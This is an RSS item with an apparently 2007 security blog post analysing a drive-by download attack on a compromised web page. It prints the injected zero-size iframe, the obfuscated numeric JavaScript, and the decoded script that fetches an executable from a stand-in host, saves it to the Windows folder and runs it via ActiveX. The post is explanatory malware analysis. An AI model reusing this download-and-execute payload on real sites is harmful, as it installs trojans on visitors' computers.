        Here is a typical example of a compromised web page.  Due to a bug in a web application like phpBB2, Moveable Type or many others, the adversary was able to insert the following line of HTML into your home page:&lt;br /&gt;&lt;pre style=&quot;margin-top: -1em; margin-bottom: -1em; margin-left: 1em&quot;&gt;&lt;br /&gt;&amp;lt;iframe src=&quot;http://www.somehost.com/ment/&quot; width=&quot;0&quot; height=&quot;0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;When visiting your home page, the single line of HTML causes your web browser to load additional content from an external web server.  When looking at the content behind &lt;i&gt;www.somehost.com/ment/&lt;/i&gt;, we find something incomprehensible to us.  It&#039;s a block of javascript that consists only of numbers.  Just by looking at it, we have no idea what the code might do:&lt;br /&gt;&lt;pre style=&quot;margin-top: -1em; margin-bottom: -1em; margin-left: 1em&quot;&gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;t=&quot;60,115,99,114,105,112,116,32,108,97,110,103,118,97,103,&lt;br /&gt;101,61,106,97,118,97,115,99,114,105,112,116,62,13,&lt;br /&gt;10,118,97,114,32,117,114,108,44,112,97,116,104,44,118,97,114,49,44,118,97,&lt;br /&gt;114,50,44,118,97,&lt;br /&gt;[many more lines of numbers]&lt;br /&gt;t=eval(&quot;String.fromCharCode(&quot;+t+&quot;)&quot;);&lt;br /&gt;document.write(t);&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;However, it&#039;s pretty straight forward to decipher this if you have bookmarked javascript shell - just search for it.  When using jshell to evaluate the javascript from above, it decodes to the following:&lt;br /&gt;&lt;pre style=&quot;margin-top: -1em; margin-bottom: -1em; margin-left: 1em&quot;&gt;&lt;br /&gt;&amp;lt;script language=javascript&amp;gt; var url,path,var1,var2,var3,var4;&lt;br /&gt;url=&quot;http://www.somehost.com/ment/bad.exe&quot;;&lt;br /&gt;path=&quot;C:\\windows\\IsUno104.exe&quot;; var1=&quot;Microsoft.xmlhttp&quot;;&lt;br /&gt;var2=&quot;Adodb.Stream&quot;; var3=&quot;Shell.Application&quot;;&lt;br /&gt;var var4_1=&quot;clsid:BD96C556-65A&quot;; var var4_2=&quot;3-11D0-983A-00C04FC29E36&quot;;&lt;br /&gt;var4=var4_1+var4_2;&lt;br /&gt;try{var ado=(document.createElement(&quot;object&quot;));&lt;br /&gt;ado.setAttribute(&quot;classid&quot;,var4); var xml=ado.CreateObject(var1,&quot;&quot;);&lt;br /&gt;var as=ado.createobject(var2,&quot;&quot;); xml.Open(&quot;GET&quot;,url,0); xml.Send();&lt;br /&gt;as.type=1;as.open();as.write(xml.responseBody); &lt;br /&gt;as.savetofile(path,2);as.close();var shell=ado.createobject(var3,&quot;&quot;);&lt;br /&gt;shell.Shell(path,&quot;&quot;,&quot;&quot;,&quot;open&quot;,0);}catch(e){};&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This resulting javascript uses XMLRPC to download a binary from the Internet.  It saves it on your local hard drive and then uses an ActiveX object to execute it.  According to ClamAV, the executable is a Trojan-Downloader.  This means that it is an application that can download an arbitrary number of other executables on your computer that can then happily sniff your passwords, compromise your bank accounts, display popups or use your computer to send spam. &lt;br /&gt;&lt;br /&gt;All of this with just a single line of HTML.  Amazing? Right!&lt;br /&gt;&lt;br /&gt;The actual example had some more indirections and also threw in some additional visual basic script plus some other goodies that would have complicated our explanation.  
    </content:encoded>

    <pubDate>Mon, 19 Feb 2007 20:39:50 -0800</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/3-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>spybye</category>

</item>

</channel>
</rss>